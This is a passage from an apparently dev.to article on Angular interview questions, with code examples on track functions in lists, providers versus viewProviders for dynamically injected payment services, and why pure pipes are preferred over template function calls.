  &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;app-final&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`
    &amp;lt;form [formGroup]="form"&amp;gt;
       &amp;lt;input [formControlName]="'name'" appHostFormDirective /&amp;gt;
    &amp;lt;/form&amp;gt;
  `&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;imports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;ReactiveFormsModule&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;HostFormDirective&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;FinalComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;form&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;FormGroup&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;FormControl&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I rarely use these modifiers in day-to-day application development. They tend to become more relevant when building libraries or advanced directives. However, Angular itself uses them extensively, and reviewing its source code is a great way to see them applied effectively.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why would you use a &lt;code&gt;track&lt;/code&gt; function in a for-loop and how it works ?
&lt;/h3&gt;

&lt;p&gt;The &lt;a href="https://angular.dev/api/core/TrackByFunction" rel="noopener noreferrer"&gt;&lt;code&gt;track&lt;/code&gt; function&lt;/a&gt; is a useful performance optimization that was often overlooked with the old &lt;code&gt;*ngFor="let item of items"&lt;/code&gt; syntax. Fortunately, the new &lt;a href="https://angular.dev/tutorials/learn-angular/5-control-flow-for" rel="noopener noreferrer"&gt;control flow &lt;code&gt;@for()&lt;/code&gt;&lt;/a&gt; now requires you to specify a &lt;code&gt;track&lt;/code&gt; function, which encourages better practices.&lt;/p&gt;

&lt;p&gt;So, why is it important? Imagine you have a component that makes an API call to fetch a list of items, list of users, and displays them in the template. You also have a “reload” button to refetch this data (in case something has changed on the backend). Below is an example using the older &lt;code&gt;*ngFor&lt;/code&gt; syntax to illustrate the issue:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;app-child&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;imports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;NgForOf&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;` 
    &amp;lt;button (click)="onRerun()"&amp;gt;re run&amp;lt;/button&amp;gt;

    &amp;lt;div *ngFor="let item of items()"&amp;gt;
        {{item.name}}
    &amp;lt;/div&amp;gt;
`&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ChildComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;items&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;signal&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="p"&gt;}[]&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;([]);&lt;/span&gt;

  &lt;span class="nf"&gt;onRerun&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// "fake api call" to reload data&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;items&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;([{&lt;/span&gt;&lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;100&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Item 1&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="cm"&gt;/* ... */&lt;/span&gt; &lt;span class="p"&gt;]);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this setup, every time &lt;code&gt;onRerun()&lt;/code&gt; is triggered and the array is updated (even with the same content), Angular will re-render all elements in the DOM. That's because it can't tell which items stayed the same and why didn't. It result to performance loss and UI flickering, especially in long or complex lists. To prevent this, you use a &lt;code&gt;trackBy&lt;/code&gt; function:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;app-child&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;imports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;CommonModule&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;` 
    &amp;lt;ng-container *ngFor="let item of items(); trackBy: identify"&amp;gt;
        &amp;lt;!-- previous code --&amp;gt;
    &amp;lt;/ng-container&amp;gt;
`&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ChildComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// ... previous code&lt;/span&gt;

  &lt;span class="nf"&gt;identify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;index&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="p"&gt;}):&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This tells Angular how to uniquely identify items in the array, commonly via an &lt;code&gt;id&lt;/code&gt;. With a &lt;code&gt;trackBy&lt;/code&gt; function (or &lt;code&gt;track&lt;/code&gt; key in &lt;code&gt;@for()&lt;/code&gt;), Angular can associate each item with its corresponding DOM element. When the data is reloaded, Angular compares these keys (not full object references), allowing unchanged items to be preserved in the DOM.&lt;/p&gt;

&lt;p&gt;Why does this matter? Because DOM operations are expensive. Without proper tracking, Angular discards and recreates DOM elements for every item, even if the data hasn't changed. With tracking, the DOM elements stay in place, and Angular only updates bindings when necessary.&lt;/p&gt;

&lt;p&gt;On the GIF below, the top list uses &lt;code&gt;trackBy: identify&lt;/code&gt; while the second one does not. You can see the difference. The top list preserves DOM elements during data reload, whereas the second recreates them entirely each time.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi0q2wk5aq8gcm8tar0yn.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi0q2wk5aq8gcm8tar0yn.gif" alt="NgFor retrigger without trackBy" width="1201" height="731"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;With the new &lt;code&gt;@for()&lt;/code&gt; syntax, Angular enforces the use of a &lt;code&gt;track&lt;/code&gt; key for the same purpose. However, two common mistakes still happen:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Using the object itself as the key - example: &lt;code&gt;@for (item of items(); track item)&lt;/code&gt;. This does not work as expected because the reference to each item changes on every reload, even if the data is identical and it will re-render the UI every time, basically ignoring the &lt;code&gt;track&lt;/code&gt; function.&lt;/li&gt;
&lt;li&gt;Using &lt;code&gt;$index&lt;/code&gt; as the key - example: &lt;code&gt;@for (item of items(); track $index)&lt;/code&gt;. This causes problems when an item is removed. Suppose you delete the 5th item in a list of 10, then every item after index 4 now has a new index, forcing Angular to re-render them all unnecessarily. In stateful components like forms, this leads to loss of input focus or cursor position, however using the &lt;code&gt;$index&lt;/code&gt; is okay for static lists.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here's a comparison: the top row uses &lt;code&gt;track item.id&lt;/code&gt;, and the second uses &lt;code&gt;track $index&lt;/code&gt;. Watch how the first preserves DOM elements during removal. Here is a &lt;a href="https://stackblitz.com/edit/stackblitz-starters-dtbhl8zb?file=src%2Fmain.ts" rel="noopener noreferrer"&gt;stackblitz example to play with&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcyep8zdl2o05swgsav0o.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcyep8zdl2o05swgsav0o.gif" alt="For loop using index for trackBy" width="760" height="594"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What is the the difference between &lt;code&gt;providers&lt;/code&gt; and &lt;code&gt;viewProviders&lt;/code&gt; ? Can you provide an example when to use either of them ?
&lt;/h3&gt;

&lt;p&gt;A great write-up on this topic is by &lt;a href="https://www.angularspace.com/author/pawel/" rel="noopener noreferrer"&gt;Paweł Kubiak&lt;/a&gt; in his article &lt;a href="https://www.angularspace.com/hidden-parts-of-angular-view-providers/" rel="noopener noreferrer"&gt;Hidden Parts of Angular: View Providers&lt;/a&gt;. Below is a summary of his explanation, followed by a practical example.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;“When you use providers, the service is available to the component itself, its template, any child components, and even to content projected into it using &lt;code&gt;&amp;lt;ng-content&amp;gt;&lt;/code&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;On the other hand, &lt;code&gt;viewProviders&lt;/code&gt; limit the service's visibility strictly to the component's view. That means it's accessible only to the component and the elements declared directly in its template—but not to projected content or external child components.”&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In most applications I've worked on, using &lt;code&gt;providers&lt;/code&gt; or &lt;code&gt;viewProviders&lt;/code&gt; were rare use-cases. Where I've seen this being showcased the most are &lt;a href="https://ngrx.io/guide/signals/signal-store#providing-and-injecting-the-store" rel="noopener noreferrer"&gt;examples with NGRX&lt;/a&gt; and generating dynamic components with configurable dependencies. &lt;/p&gt;

&lt;p&gt;Let's take an example from a flight booking portal. On the final payment step you present two payment options - Stripe (default) and PayPal payments, allowing users to choose. Each option has a different implementation, but both rely on a common &lt;code&gt;PaymentService&lt;/code&gt; abstraction:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;abstract&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;PaymentService&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;abstract&lt;/span&gt; &lt;span class="nf"&gt;pay&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Injectable&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;StripeService&lt;/span&gt; &lt;span class="k"&gt;implements&lt;/span&gt; &lt;span class="nx"&gt;PaymentService&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;pay&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Paid with Stripe!&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Injectable&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;PaypalService&lt;/span&gt; &lt;span class="k"&gt;implements&lt;/span&gt; &lt;span class="nx"&gt;PaymentService&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;pay&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Paid with PayPal!&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;app-payment-button&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`&amp;lt;button (click)="handlePayment()"&amp;gt;Pay&amp;lt;/button&amp;gt;`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;PaymentButtonComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;paymentService&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;inject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;PaymentService&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="nf"&gt;handlePayment&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;paymentService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pay&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Of course in real life you would need to establish a connection with the payment provider, handle errors, etc. The &lt;code&gt;PaymentButtonComponent&lt;/code&gt; button is using the abstract &lt;code&gt;PaymentService&lt;/code&gt;, which means, we need to provide an instance of either the Paypal or Stripe service. To dynamically decide which implementation to use based on user selection, you can manually create and inject the appropriate provider. This example demonstrates destroying and re-instantiating the component with a different &lt;code&gt;PaymentService&lt;/code&gt; provider each time:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;imports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;FormsModule&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;` 
    &amp;lt;label&amp;gt;
      &amp;lt;input type="checkbox" [(ngModel)]="usePaypal" /&amp;gt; Use PayPal
    &amp;lt;/label&amp;gt;

    &amp;lt;ng-template #container /&amp;gt;
  `&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;TestComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;usePaypal&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;container&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;viewChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;container&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;read&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;ViewContainerRef&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="nf"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// init payment button&lt;/span&gt;
    &lt;span class="nf"&gt;effect&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;container&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;container&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;usePaypal&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;usePaypal&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

      &lt;span class="nf"&gt;untracked&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;container&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;loadComponent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;container&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;usePaypal&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
      &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nf"&gt;loadComponent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;vcr&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;ViewContainerRef&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;usePaypal&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;boolean&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// remove previous&lt;/span&gt;
    &lt;span class="nx"&gt;vcr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;clear&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;injector&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Injector&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
      &lt;span class="na"&gt;providers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="na"&gt;provide&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;PaymentService&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
          &lt;span class="na"&gt;useClass&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;usePaypal&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="nx"&gt;PaypalService&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;StripeService&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
      &lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;

    &lt;span class="c1"&gt;// attach component to DOM&lt;/span&gt;
    &lt;span class="nx"&gt;vcr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createComponent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;PaymentButtonComponent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;injector&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This example shows how &lt;code&gt;providers&lt;/code&gt; can be dynamically configured depending on runtime logic. We don't use &lt;code&gt;providedIn: 'root'&lt;/code&gt; here, even if our services were globally provided, because using &lt;code&gt;Injector.create()&lt;/code&gt; always &lt;a href="https://angular.dev/api/core/Injector#create" rel="noopener noreferrer"&gt;results in new instances&lt;/a&gt;, overriding any singleton behavior.&lt;/p&gt;

&lt;p&gt;Even if the candidate doesn't know the exact difference, that's still okay, but I would expect at least one example where they encountered a situation that a global service wasn't enough, they needed to use a provider to create multiple instances for whatever reason.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why &lt;code&gt;pipes&lt;/code&gt; are considered safe in a template, but regular function calls (not signals) are not ?
&lt;/h3&gt;

&lt;p&gt;Pure pipes are only reevaluated when their input values change, which makes them efficient and safe to use in templates. On the other hand, function calls in templates are executed on every change detection cycle. &lt;/p&gt;

&lt;p&gt;So while &lt;code&gt;{{ name | uppercase }}&lt;/code&gt; in the template is safe, &lt;code&gt;{{ someHeavyFunction() }}&lt;/code&gt; will be called many times per second, which is rarely what you want. As &lt;a href="https://angular.dev/guide/templates/pipes#change-detection-with-pipes" rel="noopener noreferrer"&gt;Angular docs say&lt;/a&gt;: “&lt;em&gt;by default all pipes are considered&amp;nbsp;&lt;code&gt;pure&lt;/code&gt;, which means that it only executes when a primitive input value is changed.&lt;/em&gt;”&lt;/p&gt;

&lt;p&gt;Here I do a shameless plug including my article where I dove deeper into how the &lt;a href="https://dev.to/this-is-angular/deep-dive-into-angular-pipes-implementation-2g5n"&gt;Implementation of Angular Pipes works&lt;/a&gt;. Under the hood, pipes create a caching object, and for a specific input, they perform the pipe's logic and store the result in the cache. Then, when change detection runs again with the same input, the pipe first checks the cache. If the output was already computed, it simply returns the cached value, making it an O(1) operation.&lt;/p&gt;

&lt;h2&gt;
  
  
  Angular Questions - Signals
&lt;/h2&gt;

